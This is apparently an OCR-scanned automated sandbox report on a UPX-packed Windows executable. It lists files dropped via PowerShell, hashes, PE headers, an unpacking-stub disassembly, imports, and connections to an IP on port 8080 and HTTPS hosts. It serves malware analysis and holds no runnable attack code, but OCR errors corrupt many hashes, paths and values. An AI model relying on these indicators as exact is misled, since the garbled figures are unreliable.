unknown

PNG....... IHDR...H...H......(....OPLTEGPL...ovoorrrrrornen. I} Een V{.$).["b@EI...X'i...3JCPjb&.C".C".CSee"-# #(-#&+#-#(,W_gX hW'h..v-...%tRNS......p....co00v..... P.b...AM.
<{e@' }oor IDATXeo. 0o Gt P +.P..f..).J[.0. k< Is.....5....L'>.C ..B..BBH.......B.BBH....-.+Q..}.%.P..2..$.... . 1..T...;.a..;W..h.Z*.S
ZeoiMoee@.1.S X Bli.Z.....iFT/... X..c5.+Nh. Ji..1J......a@R.cC..C....6[..N......HO.."..._. h.JNpR.%H=/.._).Fbs.....~.....%7?0I3$..*$Ve....Ejj.....]..U.1.*$8.*u..
g...4e..-M. .Js. x..b&. ES$.flla..C.5A K &I~ My.;8.m.m.Twt).2. .s.le...."@.Q.J.Q%2..y.m.2@..Tu.!.\+.@.rl.B..l.@.PO.w..I-[Rg_1.9..H%.
1\ Kk8:L.S.$N?S+$<....83...C.$.% f........_.p..k .~ .&H.O....".$.Z..~. . XH...Es.......y.p.$...CH~I... ..0; X...3..9).....3._.b9...6$..a...6@*.....9.v.<X.H...L.&_..

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\OROWKIO1\platform-apple[1].svg

Process:

File Type:
Category:
Size (bytes):
Entropy (8bit):
Encrypted:
SSDEEP:
MD5:

SHAL:
SHA-256:

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

SVG Scalable Vector Graphics image

dropped

1042

4.14414790531419

false
24:t4lfkuZuiuZVXuWqY7AU5Pt4+02gKoSg3mFLHggECE2alLahGS035th7iTSqAmM:GuZVXgZgPtg+oSKm8cqOO0SsiTz!
AB9556D52B7B9C78FI5E7C05593944E1

DCB8E8FA61D8769F8CB70B42C1B410D47BC98D3A9
B8C7036A2766C40C40B9F8319E3F3D13938EA477B31FA25C6673EBSEFAC3AFDS
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SHA-512:

Malicious:
Reputation:

Preview:

E9849163A3655A1E61EB95715B906D356075AFF6D5AC58E7BDFCDEFCBF8F1E8B7A920A99531C5C5657A190E6FAD45E03A2D5BOACAF5D4D4B4103069A2AE48E
4c

false
unknown

<svg width="28" height="32" fill="none" xmins="http://www.w3.0rg/2000/svg"><path d="M26.628 24.938a17.358 17.358 0 0 1-1.736 3.093c-.913 1.29-1.66 2.183-2.237 2
.678-.893.814-1.85 1.231-2.874 1.255-.735 0-1.622-.208-2.654-.628-1.037-.42-1.987-.627-2.858-.627-.913 0-1.892.208-2.94.627-1.049.42-1.894.64-2.54.661-.982.042-
1.96-.387-2.94-1.288-.623-.539-1.402-1.463-2.34-2.773-1.002-1.398-1.827-3.02-2.473-4.868C.346 21.07 0 19.138 0 17.265c0-2.145.468-3.994 1.405-5.545a8.181 8.181
0012.942-2.946 7.987 7.987 00 1 3.976-1.112¢.781 0 1.804.239 3.075.709 1.268.472 2.083.71 2.44.71.267 0 1.172-.28 2.705-.837 1.45-.517 2.674-.73 3.675-.648
2.716.218 4.757 1.278 6.115 3.19-2.43 1.46-3.632 3.502-3.608 6.123.022 2.043.77 3.741 2.238 5.09a7.362 7.362 0 0 0 2.237 1.454¢-.182.517-.371 1.011-.572 1.485zM
20.398.642c0 1.6-.59 3.095-1.767 4.478-1.419 1.643-3.135 2.593-4.996 2.443a4.883 4.883 0 0 1-.038-.607c0-1.536.676-3.18 1.873-4.525.598-.681 1.36-1.246 2.282-1.
698C18.673.288 19.544.04 20.363 0c.024.2

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\OROWKIOT\platform-arm[1].svg

Process:

File Type:
Category:
Size (bytes):
Entropy (8bit):
Encrypted:
SSDEEP:
MD5:

SHAL:
SHA-256:

SHA-512:

Malicious:
Reputation:

Preview:

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

SVG Scalable Vector Graphics image

dropped

1097

4.212922018124367

false
24:totquwugghKixSroLqGex6Y4541IFFelt1QIKyQvWrQm:+he29LVY71weKQMQVAV
D841BBC22B7A0FCE2542C9E391144518
F63DECEA67931411E4FDC6829677F13E31C63E39
C9774E5A26AD63BF3BB576500F90F5BFOAA2A8BD3710A5A9A3494CC7AF6FES331

E4A8090D629B03ABOC532B53BAEAA14C067BDAEAESC20B7C756AE24981ABFIABFF610D828124F00E5C66C4E5B4C8A4EE8CA0E7ASE73816634FCDEQ7D6F1AQ
72B

false
unknown

<svg width="53" height="16" fill="none" xmins="http://www.w3.0rg/2000/svg"><path d="M11.85.422h3.529v15.112H11.85v-1.576C10.297 15.756 8.41 16 7.323 16 2.663
16012.117 0 7.967 0 3.04 3.373.022 7.368.022¢1.11 0 3.062.289 4.482 2.153V.422zM3.595 8.033c0 2.619 1.642 4.816 4.194 4.816 2.22 0 4.283-1.62 4.283-4.771 0-
3.307-2.041-4.882-4.283-4.882-2.552 0-4.194 2.152-4.194 4.837zM19.551.422h3.528v1.353c.4-.466.976-.976 1.465-1.265.688-.399 1.353-.51 2.152-.51.866 0 1.79
8.133 2.774.711-1.442 3.196¢-.8-.51-1.443-.533-1.798-.533-.754 0-1.509.111-2.197.821-.976 1.043-.976 2.486-.976 3.484v7.834h-3.529V.422h.023zm12.183 0
h3.528V1.82C36.438.377 37.836.022 38.99.022¢1.576 0 3.063.755 3.906 2.22C44.161.443 46.047.021 47.379.021¢1.842 0 3.44.866 4.305 2.375.288.51.799 1.62.799
3.817v9.342h-3.529V7.234¢c0-1.686-.177-2.374-.333-2.685-.222-.577-.754-1.331-2.02-1.331-.864 0-1.619.466-2.085 1.11-.621.865-.688 2.152-.688 3.439v7.79H40.3
V7.233c0-1.686-.178-2.374-.333-2.685-.222-.577-.755-1.331-2.02-1.331-.

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\OROWKIO1\platform-google[1].svg

Process:
File Type:
Category:
Size (bytes):
Entropy (8bit):
Encrypted:
SSDEEP:
MD5:

SHA1L:
SHA-256:
SHA-512:

Malicious:
Reputation:

Preview:

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

SVG Scalable Vector Graphics image

dropped

646

4.399661307514747

false
12:t6AbLII2ZmwUMOK7bQXpwUMQ7Xu7dmWOfgF5P+yK2GZ1hnUn6QXLIEL0j/1V8:tDbLHmMgIXp5e75DF1Gn3Un7XmLmdm
54B3676483418EAD7EB8754DEE1EBSDE

FDA40665FB7503937469FB33ESDE41EACT731447C
181A21F54ED18AF5C14A3A1D7340A92E854EF73C34F2E4B55BB2A374E225FDD4

83ADF9C17B6297B46C1C592C7B1855249BDIA73D8D0B22C6A296FEI39E384C7AB088FDFB4569A91C11D19772EF9B42AADB8502AA4EAC20FB8OF7B375F51025¢
E

false
unknown

<svg fill="none" height="32" width="30" xmIns="http://www.w3.0rg/2000/svg"><path d="m27.665 12.946-21.837-12.482a3.523 3.523 0 0 0 -3.511.011 3.528 3.528 0 0 0 -
1.753 3.043v24.964a3.52 3.52 0 0 0 5.263 3.054121.837-12.482a3.526 3.526 0 0 0 1.774-3.054c0-1.26-.68-2.43-1.772-3.054zm-9.463-2.952-2.998 4.177-7.172-9.99zm-1
4.258 19.86a1.373 1.373 00 1 -.557-.174 1.389 1.389 0 0 1 -.69-1.198v-24.964¢0-.492.265-.95.69-1.198.17-.099.36-.157.555-.17719.949 13.857-9.947 13.855zm4.088-
2.035 7.172-9.99 2.998 4.176zm18.574-10.617-6.542 3.739-3.547-4.941 3.547-4.941 6.542 3.74¢.43.245.697.706.697 1.2 0 .496-.267.957-.697 1.203z" fill="#041027"/>
</svg>

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\OROWKIO1\platform-Llinux[1].svg

Process:

File Type:
Category:
Size (bytes):
Entropy (8bit):
Encrypted:
SSDEEP:
MD5:

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

SVG Scalable Vector Graphics image

dropped

1621

4.1059716909089605

false
48:/PSsx+crjPGwW3svSwur3ibULQGEFzI96¢12yHQYj:bx9j+ovSwuDibBGEhxCQY;]
F1015899F6187D0E523FB5E800044D73
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SHAL:
SHA-256:

SHA-512:

Malicious:
Reputation:

Preview:

F5234D9039F162C52086F599979E91E1BB2D33A4
2DOD3ACS592E19FE3C9F6535CEQ0A7562BE18D72479C81FB6C4FD064491E127D1

DB56B9D6FA8E41B05DB93838E6CB4A77CFDIF514FDC1B52630B7FF6BOE9C57A3F4FOAG3AF7F3803FE12C3561B89EE04F608A40CD1BE11A3EE7B0O7AF50E3255
31

false
unknown

<svg width="31" height="32" fill="none" xmlIns="http://www.w3.0rg/2000/svg"><path fill-rule="evenodd" clip-rule="evenodd" d="M29.06 18.938c.599 1.054 1.15 2.133
1.577 3.269.2.532.158 1.048-.218 1.495-.368.439-.845.364-1.327.237a90.272 90.272 0 0 0-.888-.228 54.323 54.323 0 0 1-1.492-.392c-.276-.078-.369-.026-.431.257-.32
1.46-.909 2.813-1.827 3.994-2.336 3.007-5.343 4.459-8.936 4.43-3.594.029-6.6-1.423-8.937-4.43-.919-1.181-1.506-2.533-1.827-3.994-.062-.283-.155-.335-.43-.257-
.495.14-.994.266-1.493.392-.296.075-.592.15-.888.228-.482.127-.958.202-1.327-.237-.376-.446-.42-.963-.218-1.495.428-1.136.978-2.214 1.576-3.269a32.87 32.87 00 1
5.42-7.118¢.165-.164.276-.354.367-.566.496-1.165.72-2.397.946-3.63.036-.193.07-.387.107-.58.201-1.067.423-2.129.88-3.122C10.878 1.34 12.93.088 15.119.002h.135
€.088-.002.176-.003.264 0 .087-.003.175-.002.263 0h.135c2.189.087 4.24 1.338 5.426 3.92.455.994.677 2.056.879 3.1231.11.591c.224 1.229.45 2.458.944 3.619.09.21.
201.401.367.565a32.906 32.906 00 1 5.41

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\OROWKIO1\platform-windows[1].svg

Process:

File Type:
Category:
Size (bytes):
Entropy (8bit):
Encrypted:
SSDEEP:
MD5:

SHAL:
SHA-256:

SHA-512:

Malicious:
Reputation:

Preview:

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

SVG Scalable Vector Graphics image

dropped

325

4.743938334007718

false
6:tnrMnkumc4sImTRc1BLVEFUOXkAMyuQQQdM2Z6X1L5eelP7TtSLiV8:trMnkulTRCAF/GAMPLWZ6X1LXP7CivV8
CB89A5E237C6AD024DC59B5776D22802

92DCCO039EDAC55376DEA1F4D7B5C3997C6E641CC
82DDCCBD52AD554C6824C8B766FCA3D68DFAFAF850E67DE2495762C7BF9529AA

07AEB3411CDF3EE2975D72305EA117EACB6B6E976069DE1F55ECFC19B516203CFF78BC86FF7A54DB78DF1F9CF5087BB12A5BCB8D6860BF323C0636C312710C
F9

false
unknown

<svg width="33" height="32" fill="none" xmIns="http://www.w3.0rg/2000/svg"><path d="M.141 4.53L.13.22 2.7561.005 12.575-13.07.075L.14 4.53zm13.071 12.251.01 12.5
86-13.07-1.792L.15 16.695113.061.084zm1.586-14.257L.32.138 0v15.17I-17.34.138V2.523zM32.14 16.898L.32.137 32I-17.34-2.44-.024-12.69 17.368.028z" fill="#
041027"/></svg>

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\OROWKIO1T\pr-comment[1].png

Process:
File Type:
Category:
Size (bytes):
Entropy (8bit):
Encrypted:
SSDEEP:
MD5:

SHA1L:
SHA-256:
SHA-512:
Malicious:
Reputation:

Preview:

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

PNG image data, 980 x 940, 8-bit colormap, non-interlaced

dropped

33854

7.949171032476682

false
768:t8T5pYXQpF84iRkUfYa4ousNGbNjUB/hVNpUKhIa8J6pxUhw1AXOr:iTPwQpF84iRk8Ya4MoRUBJgJiiaKXW
DEDO6FFF10FF81F637CF129D81042F43

2B4CC390B2287307DA83B1CDB39D9B339BCIBAIC
FBE8804F911BFBOBOEB3CC0OC9BC68171BB46A40F6B481675F172B1A3507A25D6
D0C14311027468B37232B27DBF4CCBC566D26E8A0B2165A12BF82F1FOC5BD6F8489396238A28590E83A03362053D2B7C6DFOCB8F04BD811A63B8BDE4D80E14C

false

unknown

$).hkoozw?CH.........
. ../[13dcg.
"A<>8AAELMsty.wf..rk"S j SM...02. Al Y\ RAIVIN|\6C ~.
Nur Lol KGR0 J 00 [ KL SBHBRS. . HE . sRINS V.ot st

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\OROWKIO1\pr-description[1].png

Process:

File Type:
Category:
Size (bytes):
Entropy (8bit):
Encrypted:
SSDEEP:
MD5:

SHAL:

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

PNG image data, 980 x 434, 4-bit colormap, non-interlaced

dropped

10790

7.927278652158931

false
192:M2kKQ1AZceT1UPIC6hvohOil1P6ff1kR3A1FVLM2cRtfgAHB:M2kD19LIC66PI11P6fW61FGixh
BA813FECB6E9F5140A0F60D0047B43A1
FDFAOFBDEG6CA739DA41819F659803CF8396ACFFF
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SHA-256: BASEDCAEE9D68E2EE6CF3E3478FB8FC8339A1078F00FFA71C3A8E28AA4CBFB35

SHA-512: A19644E52609ECA2F8065D831AFOE2E510F3F40146D3E2E9540C842D17D8162D37B6E33F15145F1C8B807838615538E5D8D8D6B6897D5B6171269837B63E39CE
Malicious: false

Reputation: unknown

Preview: PNG........ IHDR....covverinn FPLTE o sy.]' dBGK$).27;..7P....... tRNS......).IDATX.....A.D..@. ...%..@........... M?.G.....El...PRq..%9..R...R.p..p.....p..B..TjP.A

[g~.Y...}.0...V0...V.S.O....y..j|........q.}..8....K...B..{.PQ..."...s....z.d.w
[...d{.i.{=@i...U.gO... c A{. [.E. t.X~. 5. tRR.[.C."y.n...ALX..f...N=EJ}ZG{.

Static File Info
General
File type: PE32+ executable (console) x86-64, for MS Windows

Entropy (8bit):  6.621514364190743

TriD: e Win64 Executable Console (202006/5) 81.26%
e UPX compressed Win32 Executable (30571/9) 12.30%
e Win64 Executable (generic) (12005/4) 4.83%
e Generic Win/DOS Executable (2004/3) 0.81%
e DOS Executable Generic (2002/1) 0.81%
File name: t9TtulOQal.exe
File size: 2744671
MD5: 0106f60704d6018b9b6bd639eefcIaof
SHA1L: 3bdec122251clca23bedf8d8a8c344142880ec47
SHA256: cf22ef8f6ac6d20fe2a863930cee6fac249deb610f378e5e6¢77f177abea3dce
SHA512: ala236feae9a7bec356f0d8chaas2ffb3e9b55dd515e5b5a7b84f435ab6a7d2elal377e85a7427b1b5e7f6f73638d63e6f38166e5fde553ade712ee14d8f9c260
SSDEEP: 49152:L.z071uv4BPMKkibTIA5sfér+WVc2HhG82g1VQx7VadqrPiwdRs:NABZ
TLSH: 30C5332A4E2A9D7EC7FC117C283E0F4E0691CF504000AAF166D3259ABB4DF6D166F56E
File Content MZiiiiiiiiiecee@ 1..L.IThis program cannot be run in DOS mode....$............ a..a.a.... £ R a....fa.>&.a.(..a.(..a
Preview: (...0a....... QR A Ehepoced Eopoced a..av..a.
File Icon
Icon Hash: 00828e8e8686b000
Static PE Info
General
Entrypoint: 0x1403effe0
Entrypoint Section: UPX1
Digitally signed: false
Imagebase: 0x140000000
Subsystem: windows cui

Image File Characteristics:
DLL Characteristics:

Time Stamp:

TLS Callbacks:

CLR (.Net) Version:

OS Version Major:

OS Version Minor:

File Version Major:

File Version Minor:
Subsystem Version Major:
Subsystem Version Minor:

Import Hash:

Entrypoint Preview

Copyright Joe Security LLC 2022

EXECUTABLE_IMAGE, LARGE_ADDRESS_AWARE
TERMINAL_SERVER_AWARE, DYNAMIC_BASE, NX_COMPAT, HIGH_ENTROPY_VA
0x5D701114 [Wed Sep 4 19:31:32 2019 UTC]

o o o o o o

e4290fa6afc89d56616f34ebbdOb1f2c
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Instruction

push ebx

push esi

push edi

push ebp

dec eax

lea esi, dword ptr [FFF7D015h]
dec eax

lea edi, dword ptr [esi-0036C000h]
push edi

xor ebx, ebx

XOr €cX, ecx

dec eax

or ebp, FFFFFFFFh

call 00007F7AE8BC5A75h
add ebx, ebx

je 00007F7AE8BC5A24h
rep ret

mov ebx, dword ptr [esi]
dec eax

sub esi, FFFFFFFCh

adc ebx, ebx

mov dl, byte ptr [esi]

rep ret

dec eax

lea eax, dword ptr [edi+ebp]
cmp ecx, 05h

mov dl, byte ptr [eax]

jbe 00007F7AE8BC5A43h
dec eax

cmp ebp, FFFFFFFCh
jnbe 00007F7AE8BC5A3Dh
sub ecx, 04h

mov edx, dword ptr [eax]
dec eax

add eax, 04h

sub ecx, 04h

mov dword ptr [edi], edx
dec eax

lea edi, dword ptr [edi+04h]
jnc 00007F7AE8BC5A11h
add ecx, 04h

mov dl, byte ptr [eax]

je 00007F7AE8BC5A32h
dec eax

inc eax

mov byte ptr [edi], dI

sub ecx, 01h

mov dl, byte ptr [eax]

dec eax

lea edi, dword ptr [edi+01h]
jne 00007F7AE8BC5A12h
rep ret

cld

inc ecx

pop ebx

jmp 00007F7AE8BC5A2AN
dec eax

inc esi

mov byte ptr [edi], dI
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Instruction

dec eax

inc edi

mov dl, byte ptr [esi]

add ebx, ebx

jne 00007F7AE8BC5A2Ch
mov ebx, dword ptr [esi]
dec eax

sub esi, FFFFFFFCh

adc ebx, ebx

mov dl, byte ptr [esi]

jc 00007F7AE8BC5A08h
lea eax, dword ptr [ecx+01h]
jmp 00007F7AE8BC5A29h
dec eax

inc ecx

call ebx

adc eax, eax

inc ecx

call ebx

adc eax, eax

add ebx, ebx

jne 00007F7AE8BC5A2Ch
mov ebx, dword ptr [esi]
dec eax

sub esi, FFFFFFFCh

adc ebx, ebx

mov dl, byte ptr [esi]

jnc 00007F7AE8BC5A06h
sub eax, 03h

jc 00007F7AE8BC5A3Bh
shl eax, 08h

movzx edx, dl

or eax, edx

dec eax

inc esi

xor eax, FFFFFFFFh

je 00007F7AE8BC5A7AN

sar eax, 1

Data Directories

Name Virtual Address Virtual Size Is in Section
IMAGE_DIRECTORY_ENTRY_EXPORT 0x0 0x0
IMAGE_DIRECTORY_ENTRY_IMPORT 0x3flldc 0x140 .rsrc
IMAGE_DIRECTORY_ENTRY_RESOURCE 0x3f1000 Ox1dc .rsrc
IMAGE_DIRECTORY_ENTRY_EXCEPTION 0x3db000 0x9d2c UPX1
IMAGE_DIRECTORY_ENTRY_SECURITY 0x0 0x0
IMAGE_DIRECTORY_ENTRY_BASERELOC 0x3f131c 0x14 .rsrc
IMAGE_DIRECTORY_ENTRY_DEBUG 0x0 0x0
IMAGE_DIRECTORY_ENTRY_COPYRIGHT 0x0 0x0
IMAGE_DIRECTORY_ENTRY_GLOBALPTR 0x0 0x0

IMAGE_DIRECTORY_ENTRY_TLS 0x3f0268 0x28 UPX1
IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG 0x3f0298 0x108 UPX1
IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT 0x0 0x0

IMAGE_DIRECTORY_ENTRY_IAT 0x0 0x0
IMAGE_DIRECTORY_ENTRY_DELAY_IMPORT 0x0 0x0
IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR 0x0 0x0
IMAGE_DIRECTORY_ENTRY_RESERVED 0x0 0x0
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Sections
Name Virtual Address Virtual Size Raw Size Xored PE ZLIB Complexity File Type Entropy Characteristics

UPX0 0x1000 0x36c000 0x0 unknown unknown unknown unknown IMAGE_SCN_MEM_EXECUTE,
IMAGE_SCN_MEM_WRITE,
IMAGE_SCN_CNT_UNINITIALIZE
D_DATA,
IMAGE_SCN_MEM_READ

UPX1  0x36d000 0x84000 0x83400 False 0.973757440476 data 7.90446336568 IMAGE_SCN_MEM_EXECUTE,
IMAGE_SCN_CNT_INITIALIZED_
DATA,
IMAGE_SCN_MEM_WRITE,
IMAGE_SCN_MEM_READ

rsrc 0x3f1000 0x1000 0x400 False 0.4443359375 data 4.22121534761 IMAGE_SCN_CNT_INITIALIZED_
DATA,
IMAGE_SCN_MEM_WRITE,
IMAGE_SCN_MEM_READ

Resources

Name RVA Size Type Language Country
RT_MANIFEST 0x3f105¢ 0x17d XML 1.0 document text English United States
Imports

DLL Import

ADVAPI32.dll LsaClose

KERNEL32.DLL LoadLibraryA, ExitProcess, GetProcAddress, VirtualProtect

USER32.dll ShowWindow

WS2_32.dll htons

Possible Origin

Language of compilation system Country where language is spoken Map

English United States

Network Behavior

Network Port Distribution

Total Packets: 43

® 53 (DNS)
© 443 (HTTPS)
@ 8080 undefined

TCP Packets

Timestamp Source Port Dest Port Source IP Dest IP

Apr 20, 2022 15:07:26.741045952 CEST 49740 8080 192.168.2.4 3.120.98.217
Apr 20, 2022 15:07:29.909522057 CEST 49740 8080 192.168.2.4 3.120.98.217
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Timestamp Source Port Dest Port Source IP Dest IP

Apr 20, 2022 15:07:31.077119112 CEST 49747 443 192.168.2.4 185.199.111.133
Apr 20, 2022 15:07:31.077178001 CEST 443 49747 185.199.111.133 192.168.2.4

Apr 20, 2022 15:07:31.077363014 CEST 49747 443 192.168.2.4 185.199.111.133
Apr 20, 2022 15:07:31.098937035 CEST 49747 443 192.168.2.4 185.199.111.133
Apr 20, 2022 15:07:31.098989964 CEST 443 49747 185.199.111.133 192.168.2.4

Apr 20, 2022 15:07:31.136459112 CEST 443 49747 185.199.111.133 192.168.2.4

Apr 20, 2022 15:07:31.136565924 CEST 49747 443 192.168.2.4 185.199.111.133
Apr 20, 2022 15:07:31.139646053 CEST 49747 443 192.168.2.4 185.199.111.133
Apr 20, 2022 15:07:31.139933109 CEST 443 49747 185.199.111.133 192.168.2.4

Apr 20, 2022 15:07:31.159951925 CEST 49747 443 192.168.2.4 185.199.111.133
Apr 20, 2022 15:07:31.206180096 CEST 443 49747 185.199.111.133 192.168.2.4

Apr 20, 2022 15:07:31.267195940 CEST 443 49747 185.199.111.133 192.168.2.4

Apr 20, 2022 15:07:31.267298937 CEST 443 49747 185.199.111.133 192.168.2.4

Apr 20, 2022 15:07:31.267373085 CEST 49747 443 192.168.2.4 185.199.111.133
Apr 20, 2022 15:07:31.269789934 CEST 49747 443 192.168.2.4 185.199.111.133
Apr 20, 2022 15:07:31.321630001 CEST 49750 443 192.168.2.4 140.82.121.3
Apr 20, 2022 15:07:31.321683884 CEST 443 49750 140.82.121.3 192.168.2.4

Apr 20, 2022 15:07:31.321783066 CEST 49750 443 192.168.2.4 140.82.121.3
Apr 20, 2022 15:07:31.322338104 CEST 49750 443 192.168.2.4 140.82.121.3
Apr 20, 2022 15:07:31.322365046 CEST 443 49750 140.82.121.3 192.168.2.4

Apr 20, 2022 15:07:31.366934061 CEST 443 49750 140.82.121.3 192.168.2.4

Apr 20, 2022 15:07:31.367083073 CEST 49750 443 192.168.2.4 140.82.121.3
Apr 20, 2022 15:07:31.415153980 CEST 49750 443 192.168.2.4 140.82.121.3
Apr 20, 2022 15:07:31.415191889 CEST 443 49750 140.82.121.3 192.168.2.4

Apr 20, 2022 15:07:31.415559053 CEST 443 49750 140.82.121.3 192.168.2.4

Apr 20, 2022 15:07:31.417315960 CEST 49750 443 192.168.2.4 140.82.121.3
Apr 20, 2022 15:07:31.448910952 CEST 443 49750 140.82.121.3 192.168.2.4

Apr 20, 2022 15:07:31.449027061 CEST 443 49750 140.82.121.3 192.168.2.4

Apr 20, 2022 15:07:31.449095011 CEST 49750 443 192.168.2.4 140.82.121.3
Apr 20, 2022 15:07:31.449122906 CEST 443 49750 140.82.121.3 192.168.2.4

Apr 20, 2022 15:07:31.449161053 CEST 443 49750 140.82.121.3 192.168.2.4

Apr 20, 2022 15:07:31.449225903 CEST 49750 443 192.168.2.4 140.82.121.3
Apr 20, 2022 15:07:31.449243069 CEST 443 49750 140.82.121.3 192.168.2.4

Apr 20, 2022 15:07:31.449309111 CEST 443 49750 140.82.121.3 192.168.2.4

Apr 20, 2022 15:07:31.449366093 CEST 443 49750 140.82.121.3 192.168.2.4

Apr 20, 2022 15:07:31.449368000 CEST 49750 443 192.168.2.4 140.82.121.3
Apr 20, 2022 15:07:31.449384928 CEST 443 49750 140.82.121.3 192.168.2.4

Apr 20, 2022 15:07:31.449439049 CEST 49750 443 192.168.2.4 140.82.121.3
Apr 20, 2022 15:07:31.464848042 CEST 443 49750 140.82.121.3 192.168.2.4

Apr 20, 2022 15:07:31.464956999 CEST 443 49750 140.82.121.3 192.168.2.4

Apr 20, 2022 15:07:31.464996099 CEST 443 49750 140.82.121.3 192.168.2.4

Apr 20, 2022 15:07:31.465035915 CEST 443 49750 140.82.121.3 192.168.2.4

Apr 20, 2022 15:07:31.465075016 CEST 443 49750 140.82.121.3 192.168.2.4

Apr 20, 2022 15:07:31.465112925 CEST 443 49750 140.82.121.3 192.168.2.4

Apr 20, 2022 15:07:31.465148926 CEST 443 49750 140.82.121.3 192.168.2.4

Apr 20, 2022 15:07:31.465621948 CEST 49750 443 192.168.2.4 140.82.121.3
Apr 20, 2022 15:07:31.465655088 CEST 443 49750 140.82.121.3 192.168.2.4

Apr 20, 2022 15:07:31.465677977 CEST 443 49750 140.82.121.3 192.168.2.4

Apr 20, 2022 15:07:31.465739965 CEST 49750 443 192.168.2.4 140.82.121.3
Apr 20, 2022 15:07:31.465797901 CEST 49750 443 192.168.2.4 140.82.121.3
Apr 20, 2022 15:07:31.481446981 CEST 443 49750 140.82.121.3 192.168.2.4

Apr 20, 2022 15:07:31.481590986 CEST 443 49750 140.82.121.3 192.168.2.4

Apr 20, 2022 15:07:31.481618881 CEST 49750 443 192.168.2.4 140.82.121.3
Apr 20, 2022 15:07:31.481652021 CEST 443 49750 140.82.121.3 192.168.2.4

Apr 20, 2022 15:07:31.481709957 CEST 443 49750 140.82.121.3 192.168.2.4

Apr 20, 2022 15:07:31.481748104 CEST 49750 443 192.168.2.4 140.82.121.3
Apr 20, 2022 15:07:31.481769085 CEST 443 49750 140.82.121.3 192.168.2.4

Apr 20, 2022 15:07:31.481877089 CEST 443 49750 140.82.121.3 192.168.2.4

Apr 20, 2022 15:07:31.481925964 CEST 443 49750 140.82.121.3 192.168.2.4
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Timestamp Source Port Dest Port Source IP Dest IP

Apr 20, 2022 15:07:31.481978893 CEST 49750 443 192.168.2.4 140.82.121.3
Apr 20, 2022 15:07:31.482007027 CEST 443 49750 140.82.121.3 192.168.2.4
Apr 20, 2022 15:07:31.482024908 CEST 49750 443 192.168.2.4 140.82.121.3
Apr 20, 2022 15:07:31.482055902 CEST 443 49750 140.82.121.3 192.168.2.4
Apr 20, 2022 15:07:31.482100964 CEST 443 49750 140.82.121.3 192.168.2.4
Apr 20, 2022 15:07:31.482110977 CEST 49750 443 192.168.2.4 140.82.121.3
Apr 20, 2022 15:07:31.482129097 CEST 443 49750 140.82.121.3 192.168.2.4
Apr 20, 2022 15:07:31.482191086 CEST 443 49750 140.82.121.3 192.168.2.4
Apr 20, 2022 15:07:31.482203960 CEST 49750 443 192.168.2.4 140.82.121.3
Apr 20, 2022 15:07:31.482222080 CEST 443 49750 140.82.121.3 192.168.2.4
Apr 20, 2022 15:07:31.482279062 CEST 443 49750 140.82.121.3 192.168.2.4
Apr 20, 2022 15:07:31.482331991 CEST 49750 443 192.168.2.4 140.82.121.3
Apr 20, 2022 15:07:31.482352018 CEST 443 49750 140.82.121.3 192.168.2.4
Apr 20, 2022 15:07:31.482377052 CEST 49750 443 192.168.2.4 140.82.121.3
Apr 20, 2022 15:07:31.482381105 CEST 443 49750 140.82.121.3 192.168.2.4
Apr 20, 2022 15:07:31.482398033 CEST 443 49750 140.82.121.3 192.168.2.4
Apr 20, 2022 15:07:31.482450008 CEST 443 49750 140.82.121.3 192.168.2.4
Apr 20, 2022 15:07:31.482481003 CEST 443 49750 140.82.121.3 192.168.2.4
Apr 20, 2022 15:07:31.484335899 CEST 49750 443 192.168.2.4 140.82.121.3
Apr 20, 2022 15:07:31.484364033 CEST 49750 443 192.168.2.4 140.82.121.3
Apr 20, 2022 15:07:31.484380007 CEST 443 49750 140.82.121.3 192.168.2.4
Apr 20, 2022 15:07:31.484565973 CEST 49750 443 192.168.2.4 140.82.121.3
Apr 20, 2022 15:07:31.485384941 CEST 443 49750 140.82.121.3 192.168.2.4
Apr 20, 2022 15:07:31.486639023 CEST 443 49750 140.82.121.3 192.168.2.4
Apr 20, 2022 15:07:31.486685991 CEST 443 49750 140.82.121.3 192.168.2.4
Apr 20, 2022 15:07:31.486717939 CEST 49750 443 192.168.2.4 140.82.121.3
Apr 20, 2022 15:07:31.486745119 CEST 443 49750 140.82.121.3 192.168.2.4
Apr 20, 2022 15:07:31.486759901 CEST 443 49750 140.82.121.3 192.168.2.4
Apr 20, 2022 15:07:31.486809015 CEST 49750 443 192.168.2.4 140.82.121.3
Apr 20, 2022 15:07:31.486840963 CEST 443 49750 140.82.121.3 192.168.2.4
Apr 20, 2022 15:07:31.486891985 CEST 443 49750 140.82.121.3 192.168.2.4
Apr 20, 2022 15:07:31.486898899 CEST 49750 443 192.168.2.4 140.82.121.3
Apr 20, 2022 15:07:31.486921072 CEST 443 49750 140.82.121.3 192.168.2.4
Apr 20, 2022 15:07:31.486978054 CEST 49750 443 192.168.2.4 140.82.121.3
Apr 20, 2022 15:07:31.486991882 CEST 443 49750 140.82.121.3 192.168.2.4
Apr 20, 2022 15:07:31.487771988 CEST 443 49750 140.82.121.3 192.168.2.4
Apr 20, 2022 15:07:31.487828016 CEST 443 49750 140.82.121.3 192.168.2.4
Apr 20, 2022 15:07:31.487871885 CEST 49750 443 192.168.2.4 140.82.121.3
Apr 20, 2022 15:07:31.487881899 CEST 443 49750 140.82.121.3 192.168.2.4
UDP Packets
Timestamp Source Port Dest Port Source IP Dest IP
Apr 20, 2022 15:07:31.034818888 CEST 60506 53 192.168.2.4 8.8.8.8
Apr 20, 2022 15:07:31.052894115 CEST 53 60506 8.8.8.8 192.168.2.4
Apr 20, 2022 15:07:31.286768913 CEST 64277 53 192.168.2.4 8.8.8.8
